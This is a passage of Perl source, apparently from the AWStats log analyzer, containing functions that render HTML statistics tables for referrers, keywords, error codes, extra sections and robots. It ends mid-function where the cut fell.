11284 if ( $max_p > 0 ) { 11285 $bredde_p = 11286 int( $BarWidth * ( $_os_p{$key} || 0 ) / $max_p ) + 1; 11287 } 11288 if ( ( $bredde_p == 1 ) && $_os_p{$key} ) { $bredde_p = 2; } 11289 print "<td>".Format_Number($_os_p{$key})."</td><td>$p_p</td>"; 11290 print "<td>".Format_Number($_os_h{$key})."</td><td>$p_h</td>"; 11291 print "<td class=\"aws\">"; 11292 11293 # alt and title are not provided to reduce page size 11294 if ($ShowOSStats) { 11295 print 11296"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\" /><br />"; 11297 print 11298"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />"; 11299 } 11300 print "</td>"; 11301 print "</tr>\n"; 11302 } 11303 &tab_end(); 11304 &html_end(1); 11305} 11306 11307#------------------------------------------------------------------------------ 11308# Function: Prints the Unknown OS Detail frame or static page 11309# Parameters: $NewLinkTarget 11310# Input: _ 11311# Output: HTML 11312# Return: - 11313#------------------------------------------------------------------------------ 11314sub HTMLShowOSUnknown{ 11315 my $NewLinkTarget = shift; 11316 print "$Center<a name=\"unknownos\"> </a><br />\n"; 11317 my $title = "$Message[46]"; 11318 if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { 11319 # extend the title to include the added link 11320 $title = "$title - <a href=\"" . (XMLEncode( 11321 "$AddLinkToExternalCGIWrapper" . "?section=UNKNOWNREFERER&baseName=$DirData/$PROG" 11322 . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" 11323 . "&siteConfig=$SiteConfig" ) 11324 . "\"$NewLinkTarget>$Message[179]</a>"); 11325 } 11326 &tab_head( "$title", 19, 0, 'unknownos' ); 11327 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>User agent (" 11328 . ( scalar keys %_unknownreferer_l ) 11329 . ")</th><th>$Message[9]</th></tr>\n"; 11330 my $total_l = 0; 11331 my $count = 0; 11332 &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_unknownreferer_l, 11333 \%_unknownreferer_l ); 11334 foreach my $key (@keylist) { 11335 my $useragent = XMLEncode( CleanXSS($key) ); 11336 print "<tr><td class=\"aws\">$useragent</td>"; 11337 print "<td nowrap=\"nowrap\">" 11338 . Format_Date( $_unknownreferer_l{$key}, 1 ) . "</td>"; 11339 print "</tr>\n"; 11340 $total_l += 1; 11341 $count++; 11342 } 11343 my $rest_l = ( scalar keys %_unknownreferer_l ) - $total_l; 11344 if ( $rest_l > 0 ) { 11345 print 11346"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; 11347 print "<td>-</td>"; 11348 print "</tr>\n"; 11349 } 11350 &tab_end(); 11351 &html_end(1); 11352} 11353 11354#------------------------------------------------------------------------------ 11355# Function: Prints the Referers frame or static page 11356# Parameters: $NewLinkTarget 11357# Input: _ 11358# Output: HTML 11359# Return: - 11360#------------------------------------------------------------------------------ 11361sub HTMLShowReferers{ 11362 my $NewLinkTarget = shift; 11363 print "$Center<a name=\"refererse\"> </a><br />\n"; 11364 my $title = "$Message[40]"; 11365 if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { 11366 # extend the title to include the added link 11367 $title = "$title - <a href=\"" . (XMLEncode( 11368 "$AddLinkToExternalCGIWrapper" . "?section=SEREFERRALS&baseName=$DirData/$PROG" 11369 . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" 11370 . "&siteConfig=$SiteConfig" ) 11371 . "\"$NewLinkTarget>$Message[179]</a>"); 11372 } 11373 &tab_head( $title, 19, 0, 'refererse' ); 11374 print 11375"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>".Format_Number($TotalDifferentSearchEngines)." $Message[122]</th>"; 11376 print 11377"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; 11378 print 11379"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; 11380 print "</tr>\n"; 11381 my $total_s = 0; 11382 my $total_p = 0; 11383 my $total_h = 0; 11384 my $rest_p = 0; 11385 my $rest_h = 0; 11386 my $count = 0; 11387 &BuildKeyList( 11388 $MaxRowsInHTMLOutput, 11389 $MinHit{'Refer'}, 11390 \%_se_referrals_h, 11391 ( 11392 ( scalar keys %_se_referrals_p ) 11393 ? \%_se_referrals_p 11394 : \%_se_referrals_h 11395 ) 11396 ); # before 5.4 only hits were recorded 11397 11398 foreach my $key (@keylist) { 11399 my $newreferer = $SearchEnginesHashLib{$key} || CleanXSS($key); 11400 my $p_p; 11401 my $p_h; 11402 if ($TotalSearchEnginesPages) { 11403 $p_p = 11404 int( $_se_referrals_p{$key} / $TotalSearchEnginesPages * 11405 1000 ) / 10; 11406 } 11407 if ($TotalSearchEnginesHits) { 11408 $p_h = 11409 int( $_se_referrals_h{$key} / $TotalSearchEnginesHits * 11410 1000 ) / 10; 11411 } 11412 print "<tr><td class=\"aws\">$newreferer</td>"; 11413 print "<td>" 11414 . ( 11415 $_se_referrals_p{$key} ? $_se_referrals_p{$key} : ' ' ) 11416 . "</td>"; 11417 print "<td>" 11418 . ( $_se_referrals_p{$key} ? "$p_p %" : ' ' ) . "</td>"; 11419 print "<td>".Format_Number($_se_referrals_h{$key})."</td>"; 11420 print "<td>$p_h %</td>"; 11421 print "</tr>\n"; 11422 $total_p += $_se_referrals_p{$key}; 11423 $total_h += $_se_referrals_h{$key}; 11424 $count++; 11425 } 11426 if ($Debug) { 11427 debug( 11428"Total real / shown : $TotalSearchEnginesPages / $total_p - $TotalSearchEnginesHits / $total_h", 11429 2 11430 ); 11431 } 11432 $rest_p = $TotalSearchEnginesPages - $total_p; 11433 $rest_h = $TotalSearchEnginesHits - $total_h; 11434 if ( $rest_p > 0 || $rest_h > 0 ) { 11435 my $p_p; 11436 my $p_h; 11437 if ($TotalSearchEnginesPages) { 11438 $p_p = 11439 int( $rest_p / $TotalSearchEnginesPages * 1000 ) / 10; 11440 } 11441 if ($TotalSearchEnginesHits) { 11442 $p_h = int( $rest_h / $TotalSearchEnginesHits * 1000 ) / 10; 11443 } 11444 print 11445"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; 11446 print "<td>" . ( $rest_p ? Format_Number($rest_p) : ' ' ) . "</td>"; 11447 print "<td>" . ( $rest_p ? "$p_p %" : ' ' ) . "</td>"; 11448 print "<td>".Format_Number($rest_h)."</td>"; 11449 print "<td>$p_h %</td>"; 11450 print "</tr>\n"; 11451 } 11452 &tab_end(); 11453 &html_end(1); 11454} 11455 11456#------------------------------------------------------------------------------ 11457# Function: Prints the Referer Pages frame or static page 11458# Parameters: $NewLinkTarget 11459# Input: _ 11460# Output: HTML 11461# Return: - 11462#------------------------------------------------------------------------------ 11463sub HTMLShowRefererPages{ 11464 my $NewLinkTarget = shift; 11465 print "$Center<a name=\"refererpages\"> </a><br />\n"; 11466 my $total_p = 0; 11467 my $total_h = 0; 11468 my $rest_p = 0; 11469 my $rest_h = 0; 11470 11471 # Show filter form 11472 &HTMLShowFormFilter( 11473 "refererpagesfilter", 11474 $FilterIn{'refererpages'}, 11475 $FilterEx{'refererpages'} 11476 ); 11477 my $title = "$Message[41]"; 11478 if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { 11479 # extend the title to include the added link 11480 $title = "$title - <a href=\"" . (XMLEncode( 11481 "$AddLinkToExternalCGIWrapper" . "?section=PAGEREFS&baseName=$DirData/$PROG" 11482 . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" 11483 . "&siteConfig=$SiteConfig" ) 11484 . "\"$NewLinkTarget>$Message[179]</a>"); 11485 } 11486 my $cpt = 0; 11487 $cpt = ( scalar keys %_pagesrefs_h ); 11488 &tab_head( "$title", 19, 0, 'refererpages' ); 11489 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>"; 11490 if ( $FilterIn{'refererpages'} || $FilterEx{'refererpages'} ) { 11491 11492 if ( $FilterIn{'refererpages'} ) { 11493 print "$Message[79] <b>$FilterIn{'refererpages'}</b>"; 11494 } 11495 if ( $FilterIn{'refererpages'} && $FilterEx{'refererpages'} ) { 11496 print " - "; 11497 } 11498 if ( $FilterEx{'refererpages'} ) { 11499 print 11500 "Exclude $Message[79] <b>$FilterEx{'refererpages'}</b>"; 11501 } 11502 if ( $FilterIn{'refererpages'} || $FilterEx{'refererpages'} ) { 11503 print ": "; 11504 } 11505 print "$cpt $Message[28]"; 11506 11507 #if ($MonthRequired ne 'all') { 11508 # if ($HTMLOutput{'refererpages'}) { print "<br />$Message[102]: $TotalDifferentPages $Message[28]"; } 11509 #} 11510 } 11511 else { print "$Message[102]: ".Format_Number($cpt)." $Message[28]"; } 11512 print "</th>"; 11513 print 11514"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; 11515 print 11516"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; 11517 print "</tr>\n"; 11518 my $total_s = 0; 11519 my $count = 0; 11520 &BuildKeyList( 11521 $MaxRowsInHTMLOutput, 11522 $MinHit{'Refer'}, 11523 \%_pagesrefs_h, 11524 ( 11525 ( scalar keys %_pagesrefs_p ) 11526 ? \%_pagesrefs_p 11527 : \%_pagesrefs_h 11528 ) 11529 ); 11530 11531 foreach my $key (@keylist) { 11532 my $nompage = CleanXSS($key); 11533 if ( length($nompage) > $MaxLengthOfShownURL ) { 11534 $nompage = 11535 substr( $nompage, 0, $MaxLengthOfShownURL ) . "..."; 11536 } 11537 my $p_p; 11538 my $p_h; 11539 if ($TotalRefererPages) { 11540 $p_p = 11541 int( $_pagesrefs_p{$key} / $TotalRefererPages * 1000 ) / 11542 10; 11543 } 11544 if ($TotalRefererHits) { 11545 $p_h = 11546 int( $_pagesrefs_h{$key} / $TotalRefererHits * 1000 ) / 11547 10; 11548 } 11549 print "<tr><td class=\"aws\">"; 11550 &HTMLShowURLInfo($key); 11551 print "</td>"; 11552 print "<td>" 11553 . ( $_pagesrefs_p{$key} ? Format_Number($_pagesrefs_p{$key}) : ' ' ) 11554 . "</td><td>" 11555 . ( $_pagesrefs_p{$key} ? "$p_p %" : ' ' ) . "</td>"; 11556 print "<td>" 11557 . ( $_pagesrefs_h{$key} ? Format_Number($_pagesrefs_h{$key}) : ' ' ) 11558 . "</td><td>" 11559 . ( $_pagesrefs_h{$key} ? "$p_h %" : ' ' ) . "</td>"; 11560 print "</tr>\n"; 11561 $total_p += $_pagesrefs_p{$key}; 11562 $total_h += $_pagesrefs_h{$key}; 11563 $count++; 11564 } 11565 if ($Debug) { 11566 debug( 11567"Total real / shown : $TotalRefererPages / $total_p - $TotalRefererHits / $total_h", 11568 2 11569 ); 11570 } 11571 $rest_p = $TotalRefererPages - $total_p; 11572 $rest_h = $TotalRefererHits - $total_h; 11573 if ( $rest_p > 0 || $rest_h > 0 ) { 11574 my $p_p; 11575 my $p_h; 11576 if ($TotalRefererPages) { 11577 $p_p = int( $rest_p / $TotalRefererPages * 1000 ) / 10; 11578 } 11579 if ($TotalRefererHits) { 11580 $p_h = int( $rest_h / $TotalRefererHits * 1000 ) / 10; 11581 } 11582 print 11583"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; 11584 print "<td>" . ( $rest_p ? Format_Number($rest_p) : ' ' ) . "</td>"; 11585 print "<td>" . ( $rest_p ? "$p_p %" : ' ' ) . "</td>"; 11586 print "<td>".Format_Number($rest_h)."</td>"; 11587 print "<td>$p_h %</td>"; 11588 print "</tr>\n"; 11589 } 11590 &tab_end(); 11591 &html_end(1); 11592} 11593 11594#------------------------------------------------------------------------------ 11595# Function: Prints the Key Phrases frame or static page 11596# Parameters: $NewLinkTarget 11597# Input: _ 11598# Output: HTML 11599# Return: - 11600#------------------------------------------------------------------------------ 11601sub HTMLShowKeyPhrases{ 11602 my $NewLinkTarget = shift; 11603 print "$Center<a name=\"keyphrases\"> </a><br />\n"; 11604 my $title = "$Message[43]"; 11605 if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { 11606 # extend the title to include the added link 11607 $title = "$title - <a href=\"" . (XMLEncode( 11608 "$AddLinkToExternalCGIWrapper" . "?section=SEARCHWORDS&baseName=$DirData/$PROG" 11609 . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" 11610 . "&siteConfig=$SiteConfig" ) 11611 . "\"$NewLinkTarget>$Message[179]</a>"); 11612 } 11613 &tab_head( $title, 19, 0, 'keyphrases' ); 11614 print "<tr bgcolor=\"#$color_TableBGRowTitle\"" 11615 . Tooltip(15) 11616 . "><th>".Format_Number($TotalDifferentKeyphrases)." $Message[103]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n"; 11617 my $total_s = 0; 11618 my $count = 0; 11619 &BuildKeyList( 11620 $MaxRowsInHTMLOutput, $MinHit{'Keyphrase'}, 11621 \%_keyphrases, \%_keyphrases 11622 ); 11623 foreach my $key (@keylist) { 11624 my $mot; 11625 # Convert coded keywords (utf8,...) to be correctly reported in HTML page. 11626 if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) { 11627 $mot = CleanXSS( 11628 DecodeKey_decodeutfkeys( 11629 $key, $PageCode || 'iso-8859-1' 11630 ) 11631 ); 11632 } 11633 else { $mot = CleanXSS( DecodeEncodedString($key) ); } 11634 my $p; 11635 if ($TotalKeyphrases) { 11636 $p = 11637 int( $_keyphrases{$key} / $TotalKeyphrases * 1000 ) / 10; 11638 } 11639 print "<tr><td class=\"aws\">" 11640 . XMLEncode($mot) 11641 . "</td><td>$_keyphrases{$key}</td><td>$p %</td></tr>\n"; 11642 $total_s += $_keyphrases{$key}; 11643 $count++; 11644 } 11645 if ($Debug) { 11646 debug( "Total real / shown : $TotalKeyphrases / $total_s", 2 ); 11647 } 11648 my $rest_s = $TotalKeyphrases - $total_s; 11649 if ( $rest_s > 0 ) { 11650 my $p; 11651 if ($TotalKeyphrases) { 11652 $p = int( $rest_s / $TotalKeyphrases * 1000 ) / 10; 11653 } 11654 print 11655"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[124]</span></td><td>".Format_Number($rest_s)."</td>"; 11656 print "<td>$p %</td></tr>\n"; 11657 } 11658 &tab_end(); 11659 &html_end(1); 11660} 11661 11662#------------------------------------------------------------------------------ 11663# Function: Prints the Keywords frame or static page 11664# Parameters: $NewLinkTarget 11665# Input: _ 11666# Output: HTML 11667# Return: - 11668#------------------------------------------------------------------------------ 11669sub HTMLShowKeywords{ 11670 my $NewLinkTarget = shift; 11671 print "$Center<a name=\"keywords\"> </a><br />\n"; 11672 my $title = "$Message[44]"; 11673 if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { 11674 # extend the title to include the added link 11675 $title = "$title - <a href=\"" . (XMLEncode( 11676 "$AddLinkToExternalCGIWrapper" . "?section=KEYWORDS&baseName=$DirData/$PROG" 11677 . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" 11678 . "&siteConfig=$SiteConfig" ) 11679 . "\"$NewLinkTarget>$Message[179]</a>"); 11680 } 11681 &tab_head( $title, 19, 0, 'keywords' ); 11682 print "<tr bgcolor=\"#$color_TableBGRowTitle\"" 11683 . Tooltip(15) 11684 . "><th>".Format_Number($TotalDifferentKeywords)." $Message[13]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n"; 11685 my $total_s = 0; 11686 my $count = 0; 11687 &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Keyword'}, 11688 \%_keywords, \%_keywords ); 11689 foreach my $key (@keylist) { 11690 my $mot; 11691 # Convert coded keywords (utf8,...) to be correctly reported in HTML page. 11692 if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) { 11693 $mot = CleanXSS( 11694 DecodeKey_decodeutfkeys( 11695 $key, $PageCode || 'iso-8859-1' 11696 ) 11697 ); 11698 } 11699 else { $mot = CleanXSS( DecodeEncodedString($key) ); } 11700 my $p; 11701 if ($TotalKeywords) { 11702 $p = int( $_keywords{$key} / $TotalKeywords * 1000 ) / 10; 11703 } 11704 print "<tr><td class=\"aws\">" 11705 . XMLEncode($mot) 11706 . "</td><td>$_keywords{$key}</td><td>$p %</td></tr>\n"; 11707 $total_s += $_keywords{$key}; 11708 $count++; 11709 } 11710 if ($Debug) { 11711 debug( "Total real / shown : $TotalKeywords / $total_s", 2 ); 11712 } 11713 my $rest_s = $TotalKeywords - $total_s; 11714 if ( $rest_s > 0 ) { 11715 my $p; 11716 if ($TotalKeywords) { 11717 $p = int( $rest_s / $TotalKeywords * 1000 ) / 10; 11718 } 11719 print 11720"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td><td>".Format_Number($rest_s)."</td>"; 11721 print "<td>$p %</td></tr>\n"; 11722 } 11723 &tab_end(); 11724 &html_end(1); 11725} 11726 11727#------------------------------------------------------------------------------ 11728# Function: Prints the HTTP Error code frame or static page 11729# Parameters: $code - the error code we're printing 11730# Input: _ 11731# Output: HTML 11732# Return: - 11733#------------------------------------------------------------------------------ 11734sub HTMLShowErrorCodes{ 11735 my $code = shift; 11736 my $title; 11737 my %customtitles = ( "404", "$Message[47]" ); 11738 $title = $customtitles{$code} ? $customtitles{$code} : 11739 (join(' ', ( ($httpcodelib{$code} ? $httpcodelib{$code} : 11740 'Unknown error'), "urls (HTTP code " . $code . ")" ))); 11741 print "$Center<a name=\"errors$code\"> </a><br />\n"; 11742 &tab_head( $title, 19, 0, "errors$code" ); 11743 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>URL (" 11744 . Format_Number(( scalar keys %{$_sider_h{$code}} )) 11745 . ")</th><th bgcolor=\"#$color_h\">$Message[49]</th>"; 11746 foreach (split(//, $ShowHTTPErrorsPageDetail)) { 11747 if ( $_ =~ /R/i ) { 11748 print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[23]</th>"; 11749 } elsif ( $_ =~ /H/i ) { 11750 print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[81]</th>"; 11751 } 11752 } 11753 print "</tr>\n"; 11754 my $total_h = 0; 11755 my $count = 0; 11756 &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%{$_sider_h{$code}}, 11757 \%{$_sider_h{$code}} ); 11758 foreach my $key (@keylist) { 11759 my $nompage = XMLEncode( CleanXSS($key) ); 11760 11761 #if (length($nompage)>$MaxLengthOfShownURL) { $nompage=substr($nompage,0,$MaxLengthOfShownURL)."..."; } 11762 my $referer = XMLEncode( CleanXSS( $_referer_h{$code}{$key} ) ); 11763 my $host = XMLEncode( CleanXSS( $_err_host_h{$code}{$key} ) ); 11764 print "<tr><td class=\"aws\">$nompage</td>"; 11765 print "<td>".Format_Number($_sider_h{$code}{$key})."</td>"; 11766 foreach (split(//, $ShowHTTPErrorsPageDetail)) { 11767 if ( $_ =~ /R/i ) { 11768 print "<td class=\"aws\">" . ( $referer ? "$referer" : " " ) . "</td>"; 11769 } elsif ( $_ =~ /H/i ) { 11770 print "<td class=\"aws\">" . ( $host ? "$host" : " " ) . "</td>"; 11771 } 11772 } 11773 print "</tr>\n"; 11774 my $total_s += $_sider_h{$code}{$key}; 11775 $count++; 11776 } 11777 11778# TODO Build TotalErrorHits 11779# if ($Debug) { debug("Total real / shown : $TotalErrorHits / $total_h",2); } 11780# $rest_h=$TotalErrorHits-$total_h; 11781# if ($rest_h > 0) { 11782# my $p; 11783# if ($TotalErrorHits) { $p=int($rest_h/$TotalErrorHits*1000)/10; } 11784# print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td>"; 11785# print "<td>$rest_h</td>"; 11786# print "<td>...</td>"; 11787# print "</tr>\n"; 11788# } 11789 &tab_end(); 11790 &html_end(1); 11791} 11792 11793#------------------------------------------------------------------------------ 11794# Function: Loops through any defined extra sections and dumps the info to HTML 11795# Parameters: _ 11796# Input: _ 11797# Output: HTML 11798# Return: - 11799#------------------------------------------------------------------------------ 11800sub HTMLShowExtraSections{ 11801 foreach my $extranum ( 1 .. @ExtraName - 1 ) { 11802 my $total_p = 0; 11803 my $total_h = 0; 11804 my $total_k = 0; 11805 11806 if ( $HTMLOutput{"allextra$extranum"} ) { 11807 if ($Debug) { debug( "ExtraName$extranum", 2 ); } 11808 print "$Center<a name=\"extra$extranum\"> </a><br />"; 11809 my $title = $ExtraName[$extranum]; 11810 &tab_head( "$title", 19, 0, "extra$extranum" ); 11811 print "<tr bgcolor=\"#$color_TableBGRowTitle\">"; 11812 print "<th>" . $ExtraFirstColumnTitle[$extranum] . "</th>"; 11813 11814 if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { 11815 print 11816"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; 11817 } 11818 if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { 11819 print 11820"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; 11821 } 11822 if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { 11823 print 11824"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; 11825 } 11826 if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { 11827 print "<th width=\"120\">$Message[9]</th>"; 11828 } 11829 print "</tr>\n"; 11830 $total_p = $total_h = $total_k = 0; 11831 11832 #$max_h=1; foreach (values %_login_h) { if ($_ > $max_h) { $max_h = $_; } } 11833 #$max_k=1; foreach (values %_login_k) { if ($_ > $max_k) { $max_k = $_; } } 11834 my $count = 0; 11835 if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { 11836 &BuildKeyList( 11837 $MaxRowsInHTMLOutput, 11838 $MinHitExtra[$extranum], 11839 \%{ '_section_' . $extranum . '_h' }, 11840 \%{ '_section_' . $extranum . '_p' } 11841 ); 11842 } 11843 else { 11844 &BuildKeyList( 11845 $MaxRowsInHTMLOutput, 11846 $MinHitExtra[$extranum], 11847 \%{ '_section_' . $extranum . '_h' }, 11848 \%{ '_section_' . $extranum . '_h' } 11849 ); 11850 } 11851 my %keysinkeylist = (); 11852 foreach my $key (@keylist) { 11853 $keysinkeylist{$key} = 1; 11854 my $firstcol = CleanXSS( DecodeEncodedString($key) ); 11855 $total_p += ${ '_section_' . $extranum . '_p' }{$key}; 11856 $total_h += ${ '_section_' . $extranum . '_h' }{$key}; 11857 $total_k += ${ '_section_' . $extranum . '_k' }{$key}; 11858 print "<tr>"; 11859 printf( 11860"<td class=\"aws\">$ExtraFirstColumnFormat[$extranum]</td>", 11861 $firstcol, $firstcol, $firstcol, $firstcol, $firstcol ); 11862 if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { 11863 print "<td>" 11864 . ${ '_section_' . $extranum . '_p' }{$key} . "</td>"; 11865 } 11866 if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { 11867 print "<td>" 11868 . ${ '_section_' . $extranum . '_h' }{$key} . "</td>"; 11869 } 11870 if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { 11871 print "<td>" 11872 . Format_Bytes( 11873 ${ '_section_' . $extranum . '_k' }{$key} ) 11874 . "</td>"; 11875 } 11876 if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { 11877 print "<td>" 11878 . ( 11879 ${ '_section_' . $extranum . '_l' }{$key} 11880 ? Format_Date( 11881 ${ '_section_' . $extranum . '_l' }{$key}, 1 ) 11882 : '-' 11883 ) 11884 . "</td>"; 11885 } 11886 print "</tr>\n"; 11887 $count++; 11888 } 11889 11890 # If we ask average or sum, we loop on all other records 11891 if ( $ExtraAddAverageRow[$extranum] 11892 || $ExtraAddSumRow[$extranum] ) 11893 { 11894 foreach ( keys %{ '_section_' . $extranum . '_h' } ) { 11895 if ( $keysinkeylist{$_} ) { next; } 11896 $total_p += ${ '_section_' . $extranum . '_p' }{$_}; 11897 $total_h += ${ '_section_' . $extranum . '_h' }{$_}; 11898 $total_k += ${ '_section_' . $extranum . '_k' }{$_}; 11899 $count++; 11900 } 11901 } 11902 11903 # Add average row 11904 if ( $ExtraAddAverageRow[$extranum] ) { 11905 print "<tr>"; 11906 print "<td class=\"aws\"><b>$Message[96]</b></td>"; 11907 if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { 11908 print "<td>" 11909 . ( $count ? Format_Number(( $total_p / $count )) : " " ) 11910 . "</td>"; 11911 } 11912 if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { 11913 print "<td>" 11914 . ( $count ? Format_Number(( $total_h / $count )) : " " ) 11915 . "</td>"; 11916 } 11917 if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { 11918 print "<td>" 11919 . ( 11920 $count 11921 ? Format_Bytes( $total_k / $count ) 11922 : " " 11923 ) 11924 . "</td>"; 11925 } 11926 if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { 11927 print "<td> </td>"; 11928 } 11929 print "</tr>\n"; 11930 } 11931 11932 # Add sum row 11933 if ( $ExtraAddSumRow[$extranum] ) { 11934 print "<tr>"; 11935 print "<td class=\"aws\"><b>$Message[102]</b></td>"; 11936 if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { 11937 print "<td>" . ($total_p) . "</td>"; 11938 } 11939 if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { 11940 print "<td>" . ($total_h) . "</td>"; 11941 } 11942 if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { 11943 print "<td>" . Format_Bytes($total_k) . "</td>"; 11944 } 11945 if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { 11946 print "<td> </td>"; 11947 } 11948 print "</tr>\n"; 11949 } 11950 &tab_end(); 11951 &html_end(1); 11952 } 11953 } 11954} 11955 11956#------------------------------------------------------------------------------ 11957# Function: Prints the Robot details frame or static page 11958# Parameters: _ 11959# Input: _ 11960# Output: HTML 11961# Return: - 11962#------------------------------------------------------------------------------ 11963sub HTMLShowRobots{ 11964 my $total_p = 0; 11965 my $total_h = 0; 11966 my $total_k = 0; 11967 my $total_r = 0; 11968 my $rest_p = 0; 11969 my $rest_h = 0; 11970 my $rest_k = 0; 11971 my $rest_r = 0; 11972 11973 print "$Center<a name=\"robots\"> </a><br />\n"; 11974 my $title = ''; 11975 if ( $HTMLOutput{'allrobots'} ) { $title .= "$Message[53]"; } 11976 if ( $HTMLOutput{'lastrobots'} ) { $title .= "$Message[9]"; } 11977 &tab_head( "$title", 19, 0, 'robots' ); 11978 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>" 11979 . Format_Number(( scalar keys %_robot_h )) 11980 . " $Message[51]</th>"; 11981 if ( $ShowRobotsStats =~ /H/i ) { 11982 print 11983 "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; 11984 } 11985 if ( $ShowRobotsStats =~ /B/i ) { 11986 print 11987"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; 11988 } 11989 if ( $ShowRobotsStats =~ /L/i ) { 11990 print "<th width=\"120\">$Message[9]</th>"; 11991 } 11992 print "</tr>\n"; 11993 $total_p = $total_h = $total_k = $total_r = 0; 11994 my $count = 0; 11995 if ( $HTMLOutput{'allrobots'} ) { 11996 &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Robot'}, 11997 \%_robot_h, \%_robot_h ); 11998 } 11999 if ( $HTMLOutput{'lastrobots'} ) { 12000 &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Robot'}, 12001 \%_robot_h, \%_robot_l ); 12002 } 12003 foreach my $key (@keylist) { 12004 print "<tr><td class=\"aws\">" 12005 . ( $RobotsHashIDLib{$key} ? $RobotsHashIDLib{$key} : $key ) 12006 . "</td>"; 12007 if ( $ShowRobotsStats =~ /H/i ) { 12008 print "<td>" 12009 . Format_Number(( $_robot_h{$key} - $_robot_r{$key} )) 12010 . ( $_robot_r{$key} ? "+$_robot_r{$key}" : "" ) . "</td>"; 12011 } 12012 if ( $ShowRobotsStats =~ /B/i ) { 12013 print "<td>" . Format_Bytes( $_robot_k{$key} ) . "</td>"; 12014 } 12015 if ( $ShowRobotsStats =~ /L/i ) { 12016 print "<td>" 12017 . ( 12018 $_robot_l{$key} 12019 ? Format_Date( $_robot_l{$key}, 1 ) 12020 : '-' 12021 ) 12022 . "</td>"; 12023 } 12024 print "</tr>\n"; 12025 12026 #$total_p += $_robot_p{$key}||0; 12027 $total_h += $_robot_h{$key}; 12028 $total_k += $_robot_k{$key} || 0; 12029 $total_r += $_robot_r{$key} || 0; 12030 $count++; 12031 } 12032 12033 # For bots we need to count Totals 12034 my $TotalPagesRobots = 12035 0; #foreach (values %_robot_p) { $TotalPagesRobots+=$_; } 12036 my $TotalHitsRobots = 0; 12037 foreach ( values %_robot_h ) { $TotalHitsRobots += $_; } 12038 my $TotalBytesRobots = 0; 12039 foreach ( values %_robot_k ) { $TotalBytesRobots += $_; } 12040 my $TotalRRobots = 0; 12041 foreach ( values %_robot_r ) { $TotalRRobots += $_; } 12042 $rest_p = 0; #$rest_p=$TotalPagesRobots-$total_p; 12043 $rest_h = $TotalHitsRobots - $total_h; 12044 $rest_k = $TotalBytesRobots - $total_k; 12045 $rest_r = $TotalRRobots - $total_r; 12046 12047 if ($Debug) { 12048 debug( 